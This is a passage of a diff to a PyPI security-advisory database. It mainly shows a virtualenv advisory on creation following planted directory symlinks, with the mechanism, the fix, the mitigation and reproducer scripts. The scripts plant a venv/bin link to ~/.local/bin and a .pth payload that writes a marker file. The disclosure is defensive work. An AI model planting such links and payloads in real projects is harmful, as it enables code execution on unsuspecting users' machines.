21.14.9.\n\n## Known mitigation\n\nUse an environment destination chosen by a trusted user. For older releases, avoid generating\nenvironments at destinations derived from untrusted input.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-5DZVLGL1.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-c978-59m8-c77v/GHSA-c978-59m8-c77v.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-c978-59m8-c77v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113722"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3417"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/2519941bed33ee0d3ac99277f67913e439e476a9"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-78"],"github_reviewed":true,"github_reviewed_at":"2026-10-21T21:30:12Z","nvd_published_at":"2026-10-20T20:17:18Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]} \ No newline at end of file diff --git a/data/PyPI/GHSA-cw65-gx24-rc82.json b/data/PyPI/GHSA-cw65-gx24-rc82.json index 214c07b74b..d214899c46 100644 --- a/data/PyPI/GHSA-cw65-gx24-rc82.json +++ b/data/PyPI/GHSA-cw65-gx24-rc82.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-cw65-gx24-rc82","published":"2026-10-21T21:35:56Z","modified":"2026-10-29T10:55:59.838026441Z","aliases":["BIT-virtualenv-2026-113716","CVE-2026-113716"],"summary":"virtualenv: Builtin creation follows linked environment directories","details":"## Summary\n\nThe builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those\ndirectories. This permits writes outside the requested destination.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDirectory preparation before environment files are created.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare linked entries below the chosen destination before creation. The invoking user\nmust have access to the linked destination. This does not require write access to the target itself under the other\naccount.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py),\n[ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing\nsymlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script\ngeneration then write through that parent link. A final-file check cannot prevent a write through a linked parent.\n`--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it.\n\n## Reproduction and evidence\n\nThe scanner's project tree contains `venv/bin -> ../../.local/bin` and a `.pth` file in the environment's package tree.\nWith the user's initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote\n`python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later\n`pip --version` on the user's `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A\nsecond case began with the `bin` link resolving inside the environment; replacement of a planted package link during\nseeding changed where it resolved, and writes again reached `~/.local/bin`.\n\nThe attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and\nwould run if the user used that environment directly; the added effect is creation-time writing or replacement outside\nthe requested tree and an executable on the user's `PATH` pointing at it. The scanner traces this default builtin path\nto 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before\ncreation. Concurrent parent replacement remains a separate case.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared destination\n participant V as Builtin creator\n participant L as venv/bin symlink\n participant H as ~/.local/bin\n participant U as User\n A->>L: point to ../../.local/bin\n V->>L: ensure_dir accepts existing directory link\n V->>H: write python, pip and activate files through link\n V-->>U: creation reports success\n U->>H: run pip found on PATH\n H->>A: interpreter loads planted .pth\n A-->>U: marker created\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/planted-bin-link\")\nshutil.rmtree(WORK, ignore_errors=True)\n\n\ndef user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):\n local_bin = home / \".local/bin\"\n user_env = {\"HOME\": str(home), \"PATH\": f\"{local_bin}:{os.environ['PATH']}\"}\n local_bin_before = set(os.listdir(local_bin))\n payload_marker = home / \"PWNED\"\n\n # the attacker's checkout arrives at ~/project\n subprocess.run([sys.executable, f\"/tmp/repro.d/{make_checkout}\", home / \"project\"], check=True)\n venv = home / \"project/venv\"\n print(f\"CONTROL venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}\")\n\n # default options; the flag only keeps the run off the network\n subprocess.run([\"virtualenv\", \"--no-periodic-update\", \"--quiet\", \"venv\"], cwd=home / \"project\", env=user_env, check=True)\n written = sorted(set(os.listdir(local_bin)) - local_bin_before)\n payload_ran_at_creation = payload_marker.exists()\n print(f\"OBSERVED venv/bin after the run resolves to {os.path.realpath(venv / 'bin')}\")\n print(f\"OBSERVED virtualenv wrote to {local_bin}: {written}\")\n print(f\"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}\")\n\n # later, in another folder, the user runs pip\n pip = subprocess.run([\"pip\", \"--version\"], cwd=home, env=user_env, capture_output=True, text=True)\n print(f\"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}\")\n print(f\"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}\")\n return written, payload_marker.exists() and not payload_ran_at_creation\n\n\nprint(\"--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin\")\nhome = WORK / \"bin-link\"\n(home / \".local/bin\").mkdir(parents=True)\nwritten_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link.py\")\n\nprint(\"--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded\")\nhome = WORK / \"bin-link-staying-inside\"\n(home / \".local/bin\").mkdir(parents=True)\n# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there\n(home / \".local/bin/python\").symlink_to(\"/usr/local/bin/python3\")\nwritten_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link_staying_inside.py\")\n\n# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth\nplain_link_followed = {\"pip\", \"activate\"} <= set(written_1) and pip_ran_payload_1\nlink_staying_inside_followed = {\"pip\", \"activate\"} <= set(written_2) and pip_ran_payload_2\nprint(\"---\")\nprint(f\"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}\")\nprint(f\"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}\")\nprint(\"BUG\" if plain_link_followed or link_staying_inside_followed else \"OK\")\n```\n\n**`repro.d/checkout_with_bin_link.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\n# one per minor version: the attacker does not know which Python the user has\nfor minor in range(9, 20):\n site_packages = venv / f\"lib/python3.{minor}/site-packages\"\n site_packages.mkdir(parents=True)\n (site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\\n\")\n\n# relative to a checkout at ~/project\n(venv / \"bin\").symlink_to(\"../../.local/bin\")\n```\n\n**`repro.d/checkout_with_bin_link_staying_inside.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\nsite_packages = venv / \"lib/py/site-packages\"\nsite_packages.mkdir(parents=True)\n(site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\\n\")\nfor minor in range(9, 20):\n (venv / f\"lib/python3.{minor}\").symlink_to(\"py\")\n\n# pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below\n(venv / \"1/2/3/4/5/6/7\").mkdir(parents=True)\n(site_packages / \"pip\").symlink_to(\"../../../1/2/3/4/5/6/7\")\n\n# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~\n(venv / \"1/.local/bin\").mkdir(parents=True)\n(venv / \"bin\").symlink_to(\"lib/py/site-packages/pip\" + \"/..\" * 6 + \"/.local/bin\")\n```\n\n## Impact\n\nCreation can place or replace environment files outside the selected tree. The written bytes are environment-creation\noutput; arbitrary attacker-selected file contents are not established.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.\nEach replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced\nlink or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree\nreplacement.\n\nFix: [PR #3429](https://github.com/pypa/virtualenv/pull/3429).\n\n## Known mitigation\n\nCreate environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by\nanother account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-cw65-gx24-rc82/GHSA-cw65-gx24-rc82.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-cw65-gx24-rc82"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113716"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3429"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/554d9f9d4f7758f5cf53f993031e29787f1f74c5"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-59"],"github_reviewed":true,"github_reviewed_at":"2026-10-21T21:35:56Z","nvd_published_at":"2026-10-20T20:17:17Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L"}]} \ No newline at end of file +{"schema_version":"1.9.0","id":"GHSA-cw65-gx24-rc82","published":"2026-10-21T21:35:56Z","modified":"2026-11-18T12:11:04.388986940Z","aliases":["BIT-virtualenv-2026-113716","CVE-2026-113716","PYSEC-2026-4375"],"summary":"virtualenv: Builtin creation follows linked environment directories","details":"## Summary\n\nThe builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those\ndirectories. This permits writes outside the requested destination.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDirectory preparation before environment files are created.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare linked entries below the chosen destination before creation. The invoking user\nmust have access to the linked destination. This does not require write access to the target itself under the other\naccount.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py),\n[ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing\nsymlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script\ngeneration then write through that parent link. A final-file check cannot prevent a write through a linked parent.\n`--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it.\n\n## Reproduction and evidence\n\nThe scanner's project tree contains `venv/bin -> ../../.local/bin` and a `.pth` file in the environment's package tree.\nWith the user's initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote\n`python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later\n`pip --version` on the user's `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A\nsecond case began with the `bin` link resolving inside the environment; replacement of a planted package link during\nseeding changed where it resolved, and writes again reached `~/.local/bin`.\n\nThe attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and\nwould run if the user used that environment directly; the added effect is creation-time writing or replacement outside\nthe requested tree and an executable on the user's `PATH` pointing at it. The scanner traces this default builtin path\nto 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before\ncreation. Concurrent parent replacement remains a separate case.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared destination\n participant V as Builtin creator\n participant L as venv/bin symlink\n participant H as ~/.local/bin\n participant U as User\n A->>L: point to ../../.local/bin\n V->>L: ensure_dir accepts existing directory link\n V->>H: write python, pip and activate files through link\n V-->>U: creation reports success\n U->>H: run pip found on PATH\n H->>A: interpreter loads planted .pth\n A-->>U: marker created\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/planted-bin-link\")\nshutil.rmtree(WORK, ignore_errors=True)\n\n\ndef user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):\n local_bin = home / \".local/bin\"\n user_env = {\"HOME\": str(home), \"PATH\": f\"{local_bin}:{os.environ['PATH']}\"}\n local_bin_before = set(os.listdir(local_bin))\n payload_marker = home / \"PWNED\"\n\n # the attacker's checkout arrives at ~/project\n subprocess.run([sys.executable, f\"/tmp/repro.d/{make_checkout}\", home / \"project\"], check=True)\n venv = home / \"project/venv\"\n print(f\"CONTROL venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}\")\n\n # default options; the flag only keeps the run off the network\n subprocess.run([\"virtualenv\", \"--no-periodic-update\", \"--quiet\", \"venv\"], cwd=home / \"project\", env=user_env, check=True)\n written = sorted(set(os.listdir(local_bin)) - local_bin_before)\n payload_ran_at_creation = payload_marker.exists()\n print(f\"OBSERVED venv/bin after the run resolves to {os.path.realpath(venv / 'bin')}\")\n print(f\"OBSERVED virtualenv wrote to {local_bin}: {written}\")\n print(f\"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}\")\n\n # later, in another folder, the user runs pip\n pip = subprocess.run([\"pip\", \"--version\"], cwd=home, env=user_env, capture_output=True, text=True)\n print(f\"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}\")\n print(f\"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}\")\n return written, payload_marker.exists() and not payload_ran_at_creation\n\n\nprint(\"--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin\")\nhome = WORK / \"bin-link\"\n(home / \".local/bin\").mkdir(parents=True)\nwritten_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link.py\")\n\nprint(\"--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded\")\nhome = WORK / \"bin-link-staying-inside\"\n(home / \".local/bin\").mkdir(parents=True)\n# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there\n(home / \".local/bin/python\").symlink_to(\"/usr/local/bin/python3\")\nwritten_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link_staying_inside.py\")\n\n# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth\nplain_link_followed = {\"pip\", \"activate\"} <= set(written_1) and pip_ran_payload_1\nlink_staying_inside_followed = {\"pip\", \"activate\"} <= set(written_2) and pip_ran_payload_2\nprint(\"---\")\nprint(f\"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}\")\nprint(f\"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}\")\nprint(\"BUG\" if plain_link_followed or link_staying_inside_followed else \"OK\")\n```\n\n**`repro.d/checkout_with_bin_link.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\n# one per minor version: the attacker does not know which Python the user has\nfor minor in range(9, 20):\n site_packages = venv / f\"lib/python3.{minor}/site-packages\"\n site_packages.mkdir(parents=True)\n (site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\\n\")\n\n# relative to a checkout at ~/project\n(venv / \"bin\").symlink_to(\"../../.local/bin\")\n```\n\n**`repro.d/checkout_with_bin_link_staying_inside.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\nsite_packages = venv / \"lib/py/site-packages\"\nsite_packages.mkdir(parents=True)\n(site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\\n\")\nfor minor in range(9, 20):\n (venv / f\"lib/python3.{minor}\").symlink_to(\"py\")\n\n# pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below\n(venv / \"1/2/3/4/5/6/7\").mkdir(parents=True)\n(site_packages / \"pip\").symlink_to(\"../../../1/2/3/4/5/6/7\")\n\n# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~\n(venv / \"1/.local/bin\").mkdir(parents=True)\n(venv / \"bin\").symlink_to(\"lib/py/site-packages/pip\" + \"/..\" * 6 + \"/.local/bin\")\n```\n\n## Impact\n\nCreation can place or replace environment files outside the selected tree. The written bytes are environment-creation\noutput; arbitrary attacker-selected file contents are not established.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.\nEach replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced\nlink or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree\nreplacement.\n\nFix: [PR #3429](https://github.com/pypa/virtualenv/pull/3429).\n\n## Known mitigation\n\nCreate environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by\nanother account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1